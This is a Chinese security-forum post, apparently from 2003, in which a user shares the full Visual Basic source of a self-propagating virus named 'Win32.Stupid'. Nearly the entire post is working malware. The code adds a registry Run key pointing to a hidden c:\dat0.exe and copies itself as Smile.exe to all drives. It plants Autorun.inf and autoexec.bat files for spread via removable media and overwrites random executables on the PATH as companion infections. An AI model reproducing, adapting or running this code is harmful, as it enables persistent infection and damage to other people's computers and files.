20CN网络安全小组论坛 - 病毒专区

论坛: 病毒专区标题: VB写的（不是我）

作者: wangsong [wangsong]

论坛用户

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long,
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long,
phkResult As Long) As Long
Private Declare Function RegQueryvalueExA Lib "advapi32.dll" (ByVal hKey As
Long, ByVal lpvalueName As String, ByVal lpReserved As Long, lpType As Long,
ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long)
As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias
"GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As
String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA"
(ByVal nDrive As String) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias
"GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As
String, ByVal cchBuffer As Long) As Long
Private Declare Function RegSetvalueExA Lib "advapi32.dll" (ByVal hKey As
Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As
Long, ByVal lpvalue As String, ByVal cbData As Long) As Long
Private FD(1 To 10) As String
Private xc, x As Integer
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As
String
Private companion, nodat0 As Boolean
Private s As Long
Private Sub Form_Load()
On Error Resume Next
Const REG_DWORD As Long = 4
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER As Long = &H80000001
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Call PassCheck
Dim s As Long
s = 256
v$ = String$(s, 0)
weare = App.EXEName
wearecom = weare & ".com"
smile = weare & ".exe"
dat0 = "dat0.exe"
dat0home = "c:\" & dat0
HoldMeDear = Dir(wearecom)
u = RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0,
KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Startup", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
For e = 1 To Len(v$)
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done
sup = sup + Mid$(v$, e, 1)
Next e
done:
supspn = spn(sup)
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True
u = RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Vic", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
If Mid$(v$, 5, 1) <> "d" Then
Call makereg
Else
wein = True
End If
SetAttr dat0home, vbArchive
If Dir(dat0home) <> dat0 Then nodat0 = True
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus
If nodat0 = False And companion = True Then Call ExecuteFile
Call Find_Drives
For x = 1 To xc
Smilecopy = FD(x) & "Smile.exe"
Dat0copy = FD(x) & dat0
typeofdrive = GetDriveType(CStr(FD(x)))
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1
Then
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD
If UCase(FD(x)) = "A:\" Then
Call ADrive
GoTo adone:
End If
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then
FileCopy smile, Dat0copy
nodat0 = False
FileCopy smile, Smilecopy
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem
Else
FileCopy smile, Smilecopy
End If
End If
adone:
End If
Next x
End
End Sub
Function Find_Drives()
Dim strBuffer As String
Dim lngBytes As Long
Dim intPos As Integer
Dim intPos2 As Integer
Dim strDrive As String
strBuffer = Space(255)
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer)
intPos2 = 1
intPos = InStr(intPos2, strBuffer, vbNullChar)
Do Until intPos = 0 Or intPos > lngBytes
xc = xc + 1
strDrive = Mid(strBuffer, intPos2, intPos - intPos2)
FD(xc) = strDrive
intPos2 = intPos + 1
intPos = InStr(intPos2, strBuffer, Chr(0))
Loop
End Function
Function makereg()
On Error Resume Next
Open "c:\v.reg" For Output As 1
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]"

Print #1, """Vic""=""\""c:\\dat0.exe\"""""
Close 1
Shell "regedit /s c:\v.reg"
Kill "c:\v.reg"
End Function
Function ADrive()
On Error GoTo out
If Dir(Smilecopy) <> "Smile.exe" Then
FileCopy smile, Smilecopy
Open "a:\autoexec.bat" For Output As 1
Print #1, "@echo off"
Print #1, "copy smile.exe " & supspn & "\smile.exe"
Print #1, "cls"
Print #1, "del autoexec.bat"
Close 1
Open "c:\s.bat" For Output As 1
Print #1, "path=c:\windows\command"
Print #1, "c:"
Print #1, "sys a:"
Close 1
Shell "c:\s.bat", vbHide
End If
out:
End Function
Function ExecuteFile()
On Error Resume Next
Shell (wearecom), vbNormalNoFocus
End
End Function
Function WeVirus()
On Error Resume Next
Dim pathz(1 To 20), infect(1 To 100) As String
Dim dispick As String
Dim EXEFile As Integer
If Dir("c:\p.d") <> "p.d" Then
Open "pth.bat" For Output As 1
Print #1, "path > c:\p.d"
Close 1
Shell "pth.bat", vbHide
For x = 1 To 1000000
Next x
End If
ctr = 1
Open "c:\p.d" For Input Access Read Shared As 1
Do Until EOF(1)
snap = Input(1, 1)
If UCase(snapit) = "PATH=" Then snapit = ""
If snap <> ";" Then snapit = snapit + snap
If snap = ";" Then
pathz(ctr) = snapit
snapit = ""
ctr = ctr + 1
End If
Loop
Close 1
Randomize
dispick = pathz(Int(Rnd * (ctr - 1)) + 1)
pathtoinfect = spn(dispick)
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory)
Do While InfectEXEName <> ""
EXEFile = EXEFile + 1
infect(EXEFile) = InfectEXEName
InfectEXEName = Dir
Loop
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1)
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4)
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName &
".com"
FileCopy smile, pathtoinfect & "\" & pickedexe
Else
End If
End Function
Function spn(sp As String) As String
Dim sb As String
Dim lb As Long
sb = Space(200)
lb = GetShortPathName(sp, sb, Len(sb))
If lb > 0 Then spn = Left(sb, lb)
End Function
Function PassCheck()
If Minute(Now) = 30 And Second(Now) >= 16 Then
If Day(Now) > 15 Then
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation,
"Win32.Stupid"
Else
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic
says...")
If well = vbYes Then
End
Else
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid"
End If
End If
End If
End Function
Function ARD()
If Dir("Autorun.inf") <> "Autorun.inf" Then
Open FD(x) & "Autorun.inf" For Output As 1
Print #1, "[autorun]"
Print #1, "OPEN=SMILE.EXE"
Close 1
End If
End Function

[此贴被 wangsong(wangsong) 在 02月03日16时51分编辑过]

地主发表时间: 04-02-03 16:50